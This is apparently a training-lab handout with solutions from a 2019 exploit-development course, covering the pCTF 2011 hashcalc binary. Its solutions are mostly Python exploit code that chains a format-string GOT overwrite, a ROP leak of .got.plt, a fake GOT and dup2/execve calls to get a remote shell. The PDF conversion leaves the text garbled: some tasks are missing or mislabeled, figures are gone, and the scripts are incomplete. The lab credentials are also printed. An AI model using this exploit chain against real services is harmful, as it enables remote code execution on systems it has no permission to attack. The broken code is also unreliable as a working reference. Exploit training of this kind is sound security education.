Lab12 Linux NX and ASLR Bypass
Lab12 Linux NX and ASLR Bypass
(Format String
Exploitation + ROP)
LAB 12
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 1
Exploitation + ROP)
SCENARIO
There is a vulnerable binary from pCTF 2011 named hashcalc. The binary was placed on a
Debian6 virtual machine by your red team manager. Your task is to create an exploit that
attacks the hashcalc server remotely and allows for command execution. It is not
necessary to obtain an interactive shell.
You will be given access to that Debian machine. You can use it for debugging purposes, but
in the end you should produce an exploit that can attack the hashcalc service from a remote
machine. There is no firewall on the Debian machine.
This means, that your exploit should leverage both the format string vulnerability and
ROP gadgets in order to execute a command on the remote machine.
GOALS
• Create a remote exploit that takes advantage of the vulnerable hashcalc server. You
should achieve remote command execution, (root-level access is not required).
Spawning an interactive shell is also not required. Feel free to do so though, if you feel
confident.
• The tasks section will guide you through the suggested exploitation approach.
However, feel free to find your own gadgets / approach to exploit the binary.
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 2
Exploitation + ROP)
RECOMMENDED TOOLS
• Gdb
• Text editor
• Python or other scripting language
• Linus binutils
Username: xdev
Password: xdev
TASKS
TASK 1: RECOGNIZE THE EXPLOITABLE CONDITIONS
Login to the remote Debian machine and inspect the hashcalc binary. What does it do?
Where does it store its output? How do you communicate with it? Can you spot the
vulnerability? Are there any exploit countermeasures in place?
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 3
Exploitation + ROP)
TASK 2: CONFIRM THE EXISTENCE OF A FORMAT STRING
VULNERABILITY
Further analyze the target binary and look for a convenient location to abuse the format
string vulnerability you identified in Task 1. The strings tool may give you a clue.
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 4
Exploitation + ROP)
TASK 5: CONSTRUCT A FAKE GOT AND SEND IT BACK TO
THE SERVER
Find areas of the GOT that will not be used after the overwritten strlen is executed.
Smuggle the string “/bin/sh\x00” within the new GOT, as well as known addresses of libc.
This way, you can achieve command execution instantly (since knowing the libc address can
allow you to launch a ret2libc-style attack) or construct the GOT prototype and follow the
approach of the next task (task 5).
In order to return to recv within the previously started ROP chain, you can utilize the
following gadget.
A dup2 call (three times, for stdin, stdout and stderr) and then execve. You can use following
gadget to return to the rest of payload.
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 5
Exploitation + ROP)
SOLUTIONS
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 6
Exploitation + ROP)
Below, you can find solutions for each task. Remember though that you can follow your own
strategy (which may be different from the one explained in the following lab).
The binary cannot be run multiple times (notice the bind function error below). This might
mean, that the binary started a server. Let’s confirm that using netstat, as follows.
In order to view the exploit countermeasures applied to that binary, you might want to copy
it locally and then examine with checksec.
Also, it is possible to examine whether ASLR is enabled on the remote machine, as follows.
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 7
Exploitation + ROP)
We will be dealing with NX, Stack cookie and ASLR. Let’s try to interact with the binary by
connecting through netcat to the port shown in netstat’s output.
A view into the log file allows to confirm that the data sent to the server is stored there.
We are able to clear the log by overwriting the file content and observe what kind of output
is stored in there (following the covered format string discovery method), as follows.
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 8
Exploitation + ROP)
The AAAA’s are reflected back as the 5th “argument”. Note that a basckslash is used in the
direct parameter access method in order to escape the dollar sign.
It is now confirmed that we can interact with our own supplied data, which is the foundation
for a write (%n) primitive.
Format string vulnerabilities greatly facilitate ASLR bypasses (via leaks or arbitrary
writes). Seeing ASLR being enabled, we hoped that such a vulnerability exists and
looked for one.
Hint: You might want to use the set follow-fork-mode child gdb command together with gdb
-p `pidof hashcalc` in order to effectively debug the binary. Also, you might like gdbserver
for remote debugging (so you can use your gdb plugin of choice without installing it on the
remote Debian machine)
Having chosen the target for the overwrite, perform the overwrite.
Due to NX being in place (supposedly), we will use a ROP gadget that will transfer the
execution flow back to the stack. The simplest case would be to overwrite a function that is
called directly by the vulnerable printf-like (just an assumption at this point) function with
an address that will start to execute a ROP-chain supplied inside the user buffer. Let’s start
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 9
Exploitation + ROP)
by examining which vulnerable function is responsible for the format string vulnerability
and then, we will try to spot any function call that happens right after it.
We want to target a function right after the vulnerable call because as we perform an
overwrite, we would like to make use of it as soon as possible – if we target a function that is
called at the end, or after a conditional instruction, the program might change its state in the
meantime making the exploitation will be more difficult.
By checking the binary with objdump we can see that the hashcalc binary utilizes several
printf-like functions. However, if you consult with the documentation only one of them can
write to a file and that function is fprintf. Let’s place a breakpoint on this function.
In order to check which one of the above is the root cause of the vulnerability, let’s attach
gdb to the process (as we cannot spawn a new one, since it will not be able to start the
server), as follows.
It doesn’t matter if we interact with the server from the Debian or our own attacker machine,
as it is remote anyway. To be on the same page, any interaction is done from a Kali attacker
machine.
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 10
Exploitation + ROP)
If you now try to connect to the binary, you will notice that no breakpoint is hit. This is
because the interaction happens against a child process that is spawned using the fork()
function (for each connection).
This can be confirmed by viewing the disassembly of the servier with objdump, as follows.
fork() is called right after accepting the connection. Luckily, gdb has the following capability.
The above forces it to trace the child process. Upon setting that option, it is possible to debug
the server.
As we now connect to the server, the breakpoint is hit. We can step into several instructions,
as follows.
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 11
Exploitation + ROP)
Further inspection reveals that vfprintf is called.
When at the first instruction of vsprintf, as we step into twice more and view the stack we
can see that the user buffer is placed into the printf call.
As the first address on the stack is the return address, let’s place a breakpoint on it to return
to the caller and allow execution. This way we will try to spot any function that is called next
to the vulnerable call.
The next function called has no symbol, but we can navigate to it with stepi.
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 12
Exploitation + ROP)
Using that technique, we see that it is unclear what the function at 0x804910d does.
However, there is a nearby strlen() call. Strlen has a plt entry, which can be disassembled so
we can know its GOT address.
Let’s choose strlen as our target and overwrite the strlen GOT’s entry with the address of the
ROP gadget.
An exploit skeleton has to be created. We will utilize the short writes combined with direct
parameter access in order to write the ROP gadget address to the GOT entry of strlen.
As the process of manually calculating the proper value of a short write to achieve an
arbitrary result is explained thouroughly in the Format String Vulnerability slides, find
below a python script for that calculation.
We have already posted a hint why that gadget should be used – simply, the user supplied
buffer is at certain distance from the ESP. If we increase the ESP, we will be able to have our
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 13
Exploitation + ROP)
buffer at the top of the stack. And if we can chain gadgets (pieces of code ending with “ret”
instructions”) in the user buffer and start executing that buffer, we can continue the chain as
long as we constantly return to the stack.
import socket
import time
from struct import pack, unpack
target_ip = "172.16.172.112"
target_port = 30001
got_strlen_addr = 0x0804a41c
# 0x8049106: add esp 0x54 ; pop ebx ; pop esi ; pop ebp ; ret;
buf_fmt = pack("<I", got_strlen_addr) + pack("<I", got_strlen_addr+2) +
"%"+str(0x804-8)+"x%6$hn" + "%"+str(0x9106-0x804)+"x%5$hn"
buf = buf_fmt + "A"*(0x28-len(buf_fmt)) # padding for the stack
buf += "CCCC" # we want to make EIP 0x43434343 for now
s.send(buf)
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 14
Exploitation + ROP)
s.close()
Let’s now place a break point at the gadget and then run the exploit skeleton.
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 15
Exploitation + ROP)
By disassembling 5 instructions at eip, we confirm that the gadget is about to be executed.
Let’s execute the first instruction of the gadget by pressing stepi, as follows.
Now it is clear that three series of pops will remove the three first instructions from the stack
and end up in 0x43434343.
Of course, any other gadget could have been used but it would have required different
padding of the user buffer. That being said, the user-supplied buffer is near the top of the
stack when calling strlen (which is overwritten with an arbitrary address). This is a solid
attack path, since by overwriting strlen with a ROP gadget that will decrease the stack and
redirect the execution flow there we can start to execute a custom ROP-chain.
By continuing the execution we notice that we have achieved an arbitrary EIP overwrite and
what’s even more important, this overwrite comes from the stack. As we have NX active we
cannot execute data from the stack, but we can still place addresses and parameters on the
stack. We can now extend the payload buffer by calling send(), which will allow us to receive
the GOT table.
We need to place the parameters above on the stack in order to call send().
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 16
Exploitation + ROP)
• Socket file descriptor. File descriptors are explained in detail in the Linux
Shellcoding module. By viewing the file descriptors of the child process (has a higher
pid as it was spawned after the parent), we can see that when someone is connecting,
the client socket is always 5.
• Buf will be the base address of .got.plt section, while length will be the .got.plt’s
length (readelf -a [binary] can help you identify the above).
• Flags is 0.
The address of send() is taken from gdb’s “info functions” utility. We can use the plt address.
The below exploit code allows for leaking the .got.plt section utilizing send(). It finaly returns
to “CCCC”. The CCCC’s will be changed later to another gadget address.
import socket
import time
from struct import pack, unpack
target_ip = "172.16.172.112"
target_port = 30001
got_plt_start = 0x0804a3cc
got_plt_start_size = 0x94
got_strlen_addr = 0x0804a41c
plt_send_addr = 0x08048994
socket_fd = 5
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 17
Exploitation + ROP)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
print s.recv(8192)
got_strlen_addr = 0x0804a41c
# 0x8049106: add esp 0x54 ; pop ebx ; pop esi ; pop ebp ; ret;
buf_fmt = pack("<I", got_strlen_addr) + pack("<I", got_strlen_addr+2) +
"%"+str(0x804-8)+"x%6$hn" + "%"+str(0x9106-0x804)+"x%5$hn"
buf = buf_fmt + "A"*(0x28-len(buf_fmt))
buf += pack("<I", plt_send_addr) + "CCCC" + pack("<I", socket_fd) +
pack("<I", got_plt_start) + pack("<I", got_plt_start_size) + pack("<I", 0) +
"JUNK" #JUNK is 4-byte padding for the buffer. If we return to CCCC it can be
removed from there, but as we will chain the instruction with another gadget,
that gadget requires some padding to accurately return to the stack. So JUNK
is here because of the next task.
s.send(buf)
s.close()
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 18
Exploitation + ROP)
The remote binary sent its .got.plt section to the remote client. We will now analyze the leak
and extract interesting information from it.
Interesting functions are dup2() and execve(), as they match the solution we prepared for
that lab. Note that your way of exploiting this challenge might be different.
We chose dup2() and execve() mainly because they are two functions that paired together
may allow us to execute a remote command.
- dup2 will allow to connect the bash I/O with the remote socket
- execve will allow to spawn the bash shell
- Together, they will allow to execute a command on the remote system.
As the remote binary uses fork(), each child (forked upon a new connection) has the same
memory layout as the parent. This means, we can just check the address of libc in the main
process.
While studying the output of the GOT, we can retrieve the libc addresses using Python. We
will use some functions as reference to calculate the addresses of certain functions.
We know that .got.plt starts at 0x0804a3cc. Let’s find GOT addresses using gdb’s command
info functions.
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 19
Exploitation + ROP)
Using the identified PLT addresses we are able to view GOT entries.
got_setreuid_addr = 0x0804a440
got_fork_addr = 0x0804a44c
got_plt_section = 0x0804a3cc
Based on this, we are able to calculate the offset from the base of GOT.
Moreover, let’s check the libc on the remote Debian machine to see how these functions are
placed inside libc.
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 20
Exploitation + ROP)
We see that the second library listed is a symlink to another. Let’s examine that library, as
follows.
We can now calculate the two offsets: setreuid from dup2 and fork from execve
Based on those offsets (location of setreduid and fork in the GOT) we can extract libc
addresses (already resolved by the back-end remote binary).
Based on the offsets in libc, we can calculate the locations of execve and dup2, as follows.
libc_dup2_addr = unpack("<I",
got_table[setreuid_offset:setreuid_offset+4])[0] + libc_setreuid_dup2_offset
#Get addr of dup2 based on the setreuid libc address
libc_execve_addr = unpack("<I", got_table[fork_offset:fork_offset+4])[0] +
libc_fork_execve_offset #Get addr of execve based on the fork libc address
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 21
Exploitation + ROP)
First, we will need to return from send() to the stack. In order to do that, we need to replace
the previous return address “CCCC” with a gadget that will help us return the execution back
to the stack. As per the hint we will use the below gadget. Specifically, we will not return to
the recv function, but we will cause the return to an address on the stack (where the address
of recv will be stored).
In order to send anything back to the server, we will need to expand the ROP chain. We need
to combine recv() with its respective parameters:
• sockfd will be again 5, as we want to receive data from the client socket
• buf will be a pointer to the .got.plt section
• size will be the size of the section
• flags will be zero again
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 22
Exploitation + ROP)
As you noticed in the previous step, a 4-byte padding was added at the end of send(). This is
because if we want to return to the stack after executing send(), we need to “compensate”
for those 2 pops you see on the suggested gadget below.
x/4i 0x8048c1a
0x8048c1a: add esp,0xc
0x8048c1d: pop ebx
0x8048c1e: pop ebp
0x8048c1f: ret
Specifically, as the gadget decreases the stack by a certain amount of bytes, we need to place
an additional 4 bytes (padding) so that the number of bytes the function call together with
its arguments consist of plus the padding matches the number of bytes taken off the stack by
that gadget.
If there will be another gadget placed after the recv() call, then the “CCCC” will be again
replaced with the address of the above gadget and the 4-bytes padding will be added to the
current buffer.
We now know how to send data to the remote GOT. Now, let’s consider what we would like
to send. The fake GOT will be almost the same apart from two differences:
• We will write the /bin/sh\x00 string to the end of the GOT, as this area will not be
used.
• We will write the resolved addresses of dup2() and execve() at a known position so
we can simply call them using that address, by referencing it in a ROP-chain. As we
know the addresses inside the GOT of setreuid and fork, we will use them again.
The following exploit will hijack the GOT and replace it with the modified version.
import socket
import time
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 23
Exploitation + ROP)
from struct import pack, unpack
target_ip = "172.16.172.112"
target_port = 30001
got_setreuid_addr = 0x0804a440
got_fork_addr = 0x0804a44c
got_plt_start = 0x0804a3cc
got_plt_start_size = 0x94
got_strlen_addr = 0x0804a41c
socket_fd = 5
plt_recv_addr = 0x08048844
plt_send_addr = 0x08048994
plt_setreuid_addr = 0x08048984
plt_fork_addr = 0x080489b4
# 0x8049106: add esp 0x54 ; pop ebx ; pop esi ; pop ebp ; ret;
buf_fmt = pack("<I", got_strlen_addr) + pack("<I", got_strlen_addr+2) +
"%"+str(0x804-8)+"x%6$hn" + "%"+str(0x9106-0x804)+"x%5$hn"
buf = buf_fmt + "A"*(0x28-len(buf_fmt))
buf += pack("<I", plt_send_addr) + pack("<I", 0x8048c1a) + pack("<I",
socket_fd) + pack("<I", got_plt_start) + pack("<I", got_plt_start_size) +
pack("<I", 0) + "JUNK"
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 24
Exploitation + ROP)
buf += pack("<I", plt_recv_addr) + pack("<I", 0x8048c1a) + pack("<I",
socket_fd) + pack("<I", got_plt_start) + pack("<I", got_plt_start_size) +
pack("<I", 0) + "JUNK"
#Recv now returns to the ROP gadget. We could make it return to a dummy
address but obviously, this is not end of the ROP chain so now we are ready
to add other parts.
s.send(buf)
libc_dup2_addr = unpack("<I",
got_table[setreuid_offset:setreuid_offset+4])[0] + libc_setreuid_dup2_offset
#Get addr of dup2 based on the setreuid libc address
libc_execve_addr = unpack("<I", got_table[fork_offset:fork_offset+4])[0] +
libc_fork_execve_offset #Get addr of execve based on the fork libc address
s.send(new_got_table)
s.close()
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 25
Exploitation + ROP)
TASK 6: FINISH THE ROP CHAIN AND EXECUTE A
REMOTE COMMAND.
As a result of replacing the GOT of the remote process, we can now assume the following.
plt_dup2_addr = plt_setreuid_addr
plt_execve_addr = plt_fork_addr
This is because the GOT entries for those functions were overwritten in the modified GOT
table. So PLT which points to GOT, will now call completely different functions.
Based on these addresses, we will finish the ROP chain by adding calls to dup2 and execve,
as follows.
#call execve with "/bin/bash" which is stored at the end of GOT now.
got_plt_start+8 points to 0x0. We have now covered the two arguments of
execve. Also, this is end of the ROP chain so we don’t have to add any
padding.
buf += pack("<I", plt_execve_addr) + "CCCC" + pack("<I", got_plt_start) +
pack("<I", got_plt_start + 8) + pack("<I", got_plt_start + 8)
After these calls, the remote socket will communicate with the newly-spawned bash. So by
sending anything to the server, we will communicate with that bash shell. A function can be
written in order to make that communication convenient.
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 26
Exploitation + ROP)
#now the shell is spawned, the socket interacts with the backend bash
def send_cmd(s, cmd):
s.send(cmd+"\n")
msg = s.recv(8192)
print msg
while True:
c = raw_input("$ ")
send_cmd(s, c)
import socket
import time
from struct import pack, unpack
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 27
Exploitation + ROP)
#now the shell is spawned, the socket interacts with the backend bash
def send_cmd(s, cmd):
s.send(cmd+"\n")
msg = s.recv(8192)
print msg
target_ip = "172.16.172.112"
target_port = 30001
got_setreuid_addr = 0x0804a440
got_fork_addr = 0x0804a44c
got_plt_start = 0x0804a3cc
got_plt_start_size = 0x94
got_strlen_addr = 0x0804a41c
socket_fd = 5
plt_recv_addr = 0x08048844
plt_send_addr = 0x08048994
plt_setreuid_addr = 0x08048984
plt_fork_addr = 0x080489b4
got_strlen_addr = 0x0804a41c
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 28
Exploitation + ROP)
# 0x8049106: add esp 0x54 ; pop ebx ; pop esi ; pop ebp ; ret;
buf_fmt = pack("<I", got_strlen_addr) + pack("<I", got_strlen_addr+2) +
"%"+str(0x804-8)+"x%6$hn" + "%"+str(0x9106-0x804)+"x%5$hn"
buf = buf_fmt + "A"*(0x28-len(buf_fmt))
buf += pack("<I", plt_send_addr) + pack("<I", 0x8048c1a) + pack("<I",
socket_fd) + pack("<I", got_plt_start) + pack("<I", got_plt_start_size) +
pack("<I", 0) + "JUNK"
buf += pack("<I", plt_recv_addr) + pack("<I", 0x8048c1a) + pack("<I",
socket_fd) + pack("<I", got_plt_start) + pack("<I", got_plt_start_size) +
pack("<I", 0) + "JUNK"
plt_dup2_addr = plt_setreuid_addr
plt_execve_addr = plt_fork_addr
#call execve with "/bin/bash" which is stored at the end of GOT now.
got_plt_start+8 points to 0x0. We have now covered the two arguments of
execve. Also, this is end of the ROP chain so we don’t have to add any
padding.
buf += pack("<I", plt_execve_addr) + "CCCC" + pack("<I", got_plt_start) +
pack("<I", got_plt_start + 8) + pack("<I", got_plt_start + 8)
s.send(buf)
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 29
Exploitation + ROP)
setreuid_offset = got_setreuid_addr - got_plt_start
fork_offset = got_fork_addr - got_plt_start
libc_dup2_addr = unpack("<I",
got_table[setreuid_offset:setreuid_offset+4])[0] + libc_setreuid_dup2_offset
#Get addr of dup2 based on the setreuid libc address
libc_execve_addr = unpack("<I", got_table[fork_offset:fork_offset+4])[0] +
libc_fork_execve_offset #Get addr of execve based on the fork libc address
s.send(new_got_table)
while True:
c = raw_input("$ ")
send_cmd(s, c)
s.close()
© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 30
Exploitation + ROP)